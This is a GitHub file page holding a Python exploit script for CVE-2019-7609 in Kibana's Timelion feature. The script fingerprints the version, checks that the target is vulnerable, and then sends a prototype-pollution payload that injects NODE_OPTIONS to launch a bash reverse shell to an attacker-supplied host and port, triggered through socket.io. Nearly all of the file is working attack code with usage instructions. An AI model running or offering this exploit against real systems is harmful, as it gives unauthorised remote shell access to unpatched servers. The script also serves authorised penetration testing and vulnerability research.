-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathcve-2019-7609.py
148 lines (107 loc) · 4.53 KB
/
cve-2019-7609.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Created By : crackcat
# Created Date: 2022-03-16
#
# RCE via CVE-2019-7609 (python3)
# Based on the python2 exploit by LandGrey (https://github.com/LandGrey/CVE-2019-7609)
import random
import re
import requests
import sys
import string
from distutils.version import StrictVersion
REQ_TIMEOUT = 10 # timeout for requests in seconds
class fc:
cyan = '\033[96m'
green = '\033[92m'
orange = '\033[93m'
red = '\033[91m'
end = '\033[0m'
bold = '\033[1m'
def get_version(target):
"""Return the version string of the target"""
headers = {
'Referer': target,
'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10'
}
url = f'{target}/app/kibana'
try:
resp = requests.get(url, verify=False, headers=headers, timeout=REQ_TIMEOUT)
except Exception as e:
print(f'{fc.red}[✗] Failed to connect to {url}{fc.end}')
sys.exit(1)
ver_pattern = 'version.*?:\D*([\.\d]*)' # get version number
versions = re.findall(ver_pattern, resp.text)
return (versions[0] if versions else '')
def verify_vuln(target, version):
"""Check if the target is vulnerable"""
if version:
print(f'{fc.cyan}[•] Kibana version identified: {version}{fc.end}')
ver = StrictVersion(version)
else:
return False
# CHECK VERSION
_up_to1 = StrictVersion('5.6.15')
_from2 = StrictVersion('6.0.0')
_up_to2 = StrictVersion('6.6.1')
if not ( ver < _up_to1 or ver >= _from2 and ver < _up_to2 ):
return False
print(f'{fc.green}[✓] Version is vulnerable{fc.end}')
# VERIFY VULN
headers = {
'Referer': target,
'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10',
'kbn-version': version,
'Content-Type': 'application/json;charset=utf-8'
}
data = '{"sheet":[".es(*)"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"America/Sao_Paulo"}}'
url = f'{target}/api/timelion/run'
resp = requests.post(url, data=data, verify=False, headers=headers, timeout=REQ_TIMEOUT)
return (resp.status_code == 200 and 'json' in resp.headers.get('content-type', '') and '"seriesList"' in resp.text)
def exploit(target, lhost, lport, version):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10',
'kbn-version': version,
'Content-Type': 'application/json;charset=utf-8'
}
# UPLOAD PAYLOAD
tmp_lock = f'ssh-{"".join([random.choice(string.ascii_lowercase) for _ in range(12)])}'
rev_shell = r'''/bin/bash -c \\'/bin/bash -i >& /dev/tcp/%s/%s 0>&1\\';''' % (lhost, lport)
payload = r'''{"sheet":[".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"if [ ! -f /tmp/%s ]; then touch /tmp/%s && ''' % (tmp_lock, tmp_lock)
payload += rev_shell + r''' fi\");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"America/Sao_Paulo"}}'''
url = f'{target}/api/timelion/run'
headers.update({'kbn-xsrf': 'reporting'})
resp = requests.post(url, data=payload.strip('\n'), verify=False, headers=headers, timeout=REQ_TIMEOUT)
if resp.status_code != 200:
return False
# TRIGGER PAYLOAD
url = f'{target}/socket.io/?transport=polling'
resp = requests.get(url, verify=False, headers=headers, timeout=REQ_TIMEOUT)
return (resp.status_code == 200)
def main(target, lhost, lport):
version = get_version(target)
if not verify_vuln(target, version):
print(f'{fc.red}[✗] Could not verify vulnerability on target{fc.end}')
else:
print(f'{fc.green}[✓] Target seems vulnerable{fc.end}')
if exploit(target, lhost, lport, version):
print(f'{fc.green}[✓] Exploit completed{fc.end}')
print(f'{fc.orange}[➜] Check your listener on {lhost}:{lport}{fc.end}')
else:
print(f'{fc.red}[✗] Exploit failed{fc.end}')
def usage(p):
print(f'\n\t{fc.cyan}Usage : {p} TARGET_URL LHOST LPORT{fc.end}')
print(f'\n\t\t{fc.cyan}TARGET_URL{fc.end}: URL of the server where Kibana runs')
print(f'\t\t{fc.cyan}LHOST{fc.end} : IP of the reverse shell listener')
print(f'\t\t{fc.cyan}LPORT{fc.end} : Port of the reverse shell listener')
print(f'\n\tExample: {p} http://127.0.0.1:5601 127.0.0.1 4444')
if __name__ == '__main__':
if len(sys.argv) != 4:
usage(sys.argv[0])
sys.exit(0)
target = sys.argv[1].rstrip('/')
lhost = sys.argv[2]
lport = sys.argv[3]
main(target, lhost, lport)